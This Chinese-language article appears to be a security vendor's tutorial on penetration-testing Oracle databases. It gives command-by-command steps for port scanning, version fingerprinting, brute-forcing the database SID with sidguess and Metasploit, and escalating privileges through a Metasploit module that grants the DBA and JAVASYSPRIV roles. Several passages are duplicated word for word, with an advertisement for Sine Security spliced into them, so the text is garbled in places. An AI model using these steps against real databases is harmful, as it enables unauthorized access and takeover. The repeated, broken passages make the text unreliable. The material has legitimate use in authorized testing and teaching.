Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管
理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行
的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、服务器环
境。它是一种高效率、可靠性高,并发吞吐量的数据库解决方案,针对Oracle数据库该如何去安全
测试呢?
一、数据库端口的安全扫描
首先检测数据库端口的的开放使用namp命令来对目标数据库IP进行端口扫描,命令
如下:nmap -Pn -n -T4 --open -p1521
二、数据库的版本相关信息
再来检查下数据库的版本信息,得到一个存活的oracle数据库服务端口,了解数据库的版本信息非
常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞,需要不同的poc来对其进行
测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。Sine安全公司是一家专注于:
服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务
提供商。
常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞,需要不同的poc来对其进行
测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。Sine安全公司是一家专注于:
服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务
提供商。
利用msf工具进行判断,使用如下模块来对数据库进行版本探测:
msf > use auxiliary/scanner/oracle/tnslsnr_version
使用tnscmd10g工具,命令如下:
tnscmd10g version -h <target IP>
tnscmd10g status -h <target IP>
通过以上两种方法,以及命令可以得到版本信息、日志文件、跟踪信息以及端口相关的安全渗透信息。
三、获取数据库的SID安全值
再来获取数据库的SID值,连接oracle数据库不仅仅需要账号密码,而且还需要SID(SID是一个数
据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常
关键的,可以使用以下方法获取:
据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常
关键的,可以使用以下方法获取:
使用sidguess,sidguess是kali下的一款爆破Oracle SID的工具,命令如下:
sidguess -i <target IP> -d /home/myh0st/pass.txt
msf下有两个模块可以完成这个操作,命令如下:
msf > use auxiliary/scanner/oracle/sid_enum
msf > use auxiliary/admin/oracle/sid_brute
如果oracle的版本为10g,默认通过8080端口,远程管理的可以访问以下路径:
http://127.0.0.1:8080/oradb/PUBLIC/GLOBAL_NAME
四、数据库提权
使用sql命令提权,在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两
个模块,命令如下:Sine安全公司是一家专注于:服务器安全、网站安全、网站安全检测、网站漏
洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
个模块,命令如下:Sine安全公司是一家专注于:服务器安全、网站安全、网站安全检测、网站漏
洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
msf > use auxiliary/admin/oracle/sql
set DBUSER <user>
set DBPASS <password>
set SID <sid>
set SQL select * from user_role_privs
msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor
set DBUSER <user>
set DBPASS <password>
set SID <sid>
set SQL GRANT DBA TO <user>
set SQL GRANT JAVASYSPRIV TO <user>
查询数据库版本:
select * from v$version;
数据库打补丁情况:
select * from dba_registry_history;
查看所有用户:
select * from all_users;
查询数据库中的所有表:
select owner,table_name from all_tables;